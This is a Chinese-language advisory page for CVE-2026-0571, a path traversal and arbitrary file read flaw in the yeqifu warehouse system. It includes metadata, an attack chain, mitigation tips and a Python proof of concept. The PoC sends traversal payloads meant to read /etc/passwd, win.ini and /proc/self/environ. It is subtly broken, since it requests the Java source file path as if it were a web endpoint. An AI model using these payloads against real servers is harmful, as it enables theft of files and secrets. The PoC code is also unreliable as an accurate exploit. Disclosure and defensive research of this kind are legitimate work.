IPBUF安全漏洞报告
English
CVE-2026-0571 CVSS 4.3 中危

CVE-2026-0571 yeqifu warehouse 路径遍历任意文件读取漏洞

披露日期: 2026-01-02

漏洞信息

漏洞编号
CVE-2026-0571
漏洞类型
路径遍历/任意文件读取
CVSS评分
4.3 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
yeqifu warehouse

相关标签

路径遍历任意文件读取yeqifu warehouseCVE-2026-0571JavaWeb应用安全

漏洞概述

CVE-2026-0571是yeqifu仓库管理系统中的一个路径遍历漏洞,CVSS评分4.3,属于中危级别。该漏洞存在于AppFileUtils.java文件的createResponseEntity函数中,攻击者可以通过构造特殊的path参数利用此漏洞读取服务器上的任意文件。漏洞影响版本截至commit aaf29962ba407d22d991781de28796ee7b4670e4。由于该产品采用滚动发布模式,因此没有明确的版本号区分受影响和修复版本。攻击者只需拥有低权限账户即可远程利用此漏洞,无需用户交互即可获取系统敏感文件,如配置文件、源代码、密钥等。该漏洞已被公开利用,对使用该开源项目的企业造成严重安全风险。

技术细节

漏洞位于warehouse\src\main\java\com\yeqifu\sys\common\AppFileUtils.java文件中的createResponseEntity函数。该函数在处理用户提供的path参数时,未对路径进行充分的验证和过滤,允许攻击者使用路径遍历字符(如../)访问Web根目录之外的文件系统资源。攻击者通过构造类似../../../etc/passwd的路径,即可读取服务器上的敏感文件。漏洞利用条件较低,攻击者只需具备系统低权限账户即可发起攻击。由于函数直接使用用户输入的path参数进行文件操作,缺少路径规范化(path normalization)和边界检查,攻击者可绕过目录限制访问任意文件。此漏洞可能导致配置文件泄露、源代码暴露、密钥凭证窃取等严重后果。

攻击链分析

STEP 1
步骤1
攻击者识别目标系统使用yeqifu warehouse开源项目
STEP 2
步骤2
访问存在漏洞的AppFileUtils.java的createResponseEntity函数端点
STEP 3
步骤3
构造包含路径遍历字符(../)的特殊path参数
STEP 4
步骤4
发送恶意请求读取服务器任意文件(如/etc/passwd、配置文件等)
STEP 5
步骤5
利用获取的敏感信息进行进一步攻击,如横向移动或权限提升

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2026-0571 PoC - Path Traversal in yeqifu warehouse import requests import sys target = sys.argv[1] if len(sys.argv) > 1 else "http://target.com" # Read sensitive files via path traversal payloads = [ "/warehouse/src/main/java/com/yeqifu/sys/common/AppFileUtils.java?path=../../../etc/passwd", "/warehouse/src/main/java/com/yeqifu/sys/common/AppFileUtils.java?path=../../../windows/win.ini", "/warehouse/src/main/java/com/yeqifu/sys/common/AppFileUtils.java?path=../../../proc/self/environ" ] for payload in payloads: url = target + payload print(f"[*] Testing: {url}") try: resp = requests.get(url, timeout=10) if resp.status_code == 200: print(f"[+] Success! File content:\n{resp.text[:500]}") else: print(f"[-] Failed with status {resp.status_code}") except Exception as e: print(f"[-] Error: {e}")

影响范围

yeqifu warehouse <= aaf29962ba407d22d991781de28796ee7b4670e4

防御指南

临时缓解措施
在正式修复前,可通过配置Web服务器或应用层防火墙规则,临时拦截包含../、..\、%2e%2e等路径遍历特征的请求。同时限制应用程序的文件系统访问权限,确保即使漏洞被利用也难以读取关键系统文件。建议尽快关注官方安全更新并部署修复版本。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表